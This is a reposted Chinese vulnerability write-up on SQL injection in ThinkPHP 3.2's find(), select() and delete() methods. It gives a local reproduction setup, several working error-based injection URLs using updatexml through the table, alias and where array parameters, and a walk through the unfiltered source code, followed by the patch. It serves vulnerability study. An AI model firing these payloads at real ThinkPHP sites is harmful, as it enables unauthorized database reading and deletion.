内容简介:北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于下载源码:
0x00 前言
北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于 select()
, find()
, delete()
方法可能会传入数组类型数据产生的多个sql注入隐患。
0x01 漏洞复现
下载源码: git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令将版本回退到上一次commit: git checkout 109bf30254a38651c21837633d9293a4065c300b
使用phpstudy等集成 工具 搭建thinkphp,修改apache的配置文件 httpd-conf
DocumentRoot ""
为thinkphp所在的目录。
重启phpstudy,访问 127.0.0.1
,输出thinkphp的欢迎信息,表示thinkphp已正常运行。
搭建数据库,数据库为 tptest
,表为 user
,表里面有三个字段 id
, username
, pass
修改 Application\Common\Conf\config.php
配置文件,添加数据库配置信息。
之后在 Application\Home\Controller\IndexController.class.php
添加以下代码:
public function test() { $id = i('id'); $res = M('user')->find($id); //$res = M('user')->delete($id); //$res = M('user')->select($id); }
针对 select()
和 find()
方法 ,有很多地方可注,这里主要列举三个 table
, alias
, where
,更多还请自行跟踪一下 parseSql
的各个 parseXXX
方法,目测都是可行的,比如 having
, group
等。
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
而 delete()
方法的话同样,这里粗略举三个例子, table
, alias
, where
,但使用 table
和 alias
的时候,同时还必须保证 where
不为空(详细原因后面会说)
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1
0x02 漏洞分析
通过github上的commit 对比其实可以粗略知道,此次更新主要是在 ThinkPHP/Library/Think/Model.class.php
文件中,其中对于 delete
, find
, select
三个函数进行了修改。
delete
函数
select
函数
find
函数
对比三个方法修改的地方都有一个共同点:
把外部传进来的 $options
,修改为 $this->options
,同时不再使用 $this->_parseOptions
对于 $options
进行表达式分析。
思考是因为 $options
可控,再经过 _parseOptions
函数之后产生了sql注入。
一 select 和 find 函数
以 find
函数为例进行分析( select
代码类似),该函数可接受一个 $options
参数,作为查询数据的条件。
当 $options
为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:
if (is_numeric($options) || is_string($options)) { $where[$this->getPk()] = $options; $options = array(); $options['where'] = $where; }
同时提供了对复合主键的查询,看到判断:
if (is_array($options) && (count($options) > 0) && is_array($pk)) { // 根据复合主键查询 ...... }
要进入复合主键查询代码,需要满足 $options
为数组同时 $pk
主键也要为数组,但这个对于表只设置一个主键的时候不成立。
那么就可以使 $options
为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入 _parseOptions
进行解析。
if (is_numeric($options) || is_string($options)) {//$options为数组不进入 $where[$this->getPk()] = $options; $options = array(); $options['where'] = $where; } // 根据复合主键查找记录 $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) { //$pk不为数组不进入 ...... } // 总是查找一条记录 $options['limit'] = 1; // 分析表达式 $options = $this->_parseOptions($options); //解析表达式 // 判断查询缓存 ..... $resultSet = $this->db->select($options); //底层执行
之后跟进 _parseOptions
方法,(分析见代码注释)
if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合 $options = array_merge($this->options, $options); } if (!isset($options['table'])) {//判断是否设置了table 没设置进这里 // 自动获取表名 $options['table'] = $this->getTableName(); $fields = $this->fields; } else { // 指定数据表 则重新获取字段列表 但不支持类型检测 $fields = $this->getDbFields(); //设置了进这里 } // 数据表别名 if (!empty($options['alias'])) {//判断是否设置了数据表别名 $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了 } // 记录操作的模型名称 $options['model'] = $this->name; // 字段类型验证 if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里 // 对数组查询条件进行字段类型检查 ...... } // 查询过后清空sql表达式组装 避免影响下次查询 $this->options = array(); // 表达式过滤 $this->_options_filter($options); return $options;
$options
我们可控,那么就可以控制为数组类型,传入 $options['table']
或 $options['alias']
等等,只要提层不进行过滤都是可行的。
同时我们可以不设置 $options['where']
或者设置 $options['where']
的值为字符串,可绕过字段类型的验证。
可以看到在整个对 $options
的解析中没有过滤,直接返回,跟进到底层 ThinkPHP\Libray\Think\Db\Diver.class.php
,找到 select
方法,继续跟进最后来到 parseSql
方法,对 $options
的值进行替换,解析。
因为 $options['table']
或 $options['alias']
都是由 parseTable
函数进行解析,跟进:
if (is_array($tables)) {//为数组进 // 支持别名定义 ...... } elseif (is_string($tables)) {//不为数组进 $tables = array_map(array($this, 'parseKey'), explode(',', $tables)); } return implode(',', $tables);
当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。
同时 $options['where']
也一样,看到 parseWhere
函数
$whereStr = ''; if (is_string($where)) { // 直接使用字符串条件 $whereStr = $where; //直接返回了,没有任何过滤 } else { // 使用数组表达式 ...... } return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
二 delete函数
delete
函数有些不同,主要是在解析完 $options
之后,还对 $options['where']
判断了一下是否为空,需要我们传一下值,使之不为空,从而继续执行删除操作。
...... // 分析表达式 $options = $this->_parseOptions($options); if (empty($options['where'])) { //注意这里,还判断了一下$options['where']是否为空,为空直接返回,不再执行下面的代码。 // 如果条件为空 不进行删除操作 除非设置 1=1 return false; } if (is_array($options['where']) && isset($options['where'][$pk])) { $pkValue = $options['where'][$pk]; } if (false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); if (false !== $result && is_numeric($result)) { $data = array(); if (isset($pkValue)) { $data[$pk] = $pkValue; } $this->_after_delete($data, $options); } // 返回删除记录个数 return $result;
0x03 漏洞修复
不再分析由外部传进来的 $options
,使得不再可控 $options['xxx']
。
以上所述就是小编给大家介绍的《ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Joomla!3.7.0 SQL注入攻击漏洞分析
- Hongcms 3.0.0后台SQL注入漏洞分析
- ThinkPHP5漏洞分析之SQL注入(六)
- ThinkPHP5漏洞分析之SQL注入(五)
- Vtiger CRM 7.1 几处SQL注入漏洞分析
- WordPress插件Form Maker SQL注入漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Don't Make Me Think
Steve Krug / New Riders Press / 18 August, 2005 / $35.00
Five years and more than 100,000 copies after it was first published, it's hard to imagine anyone working in Web design who hasn't read Steve Krug's "instant classic" on Web usability, but people are ......一起来看看 《Don't Make Me Think》 这本书的介绍吧!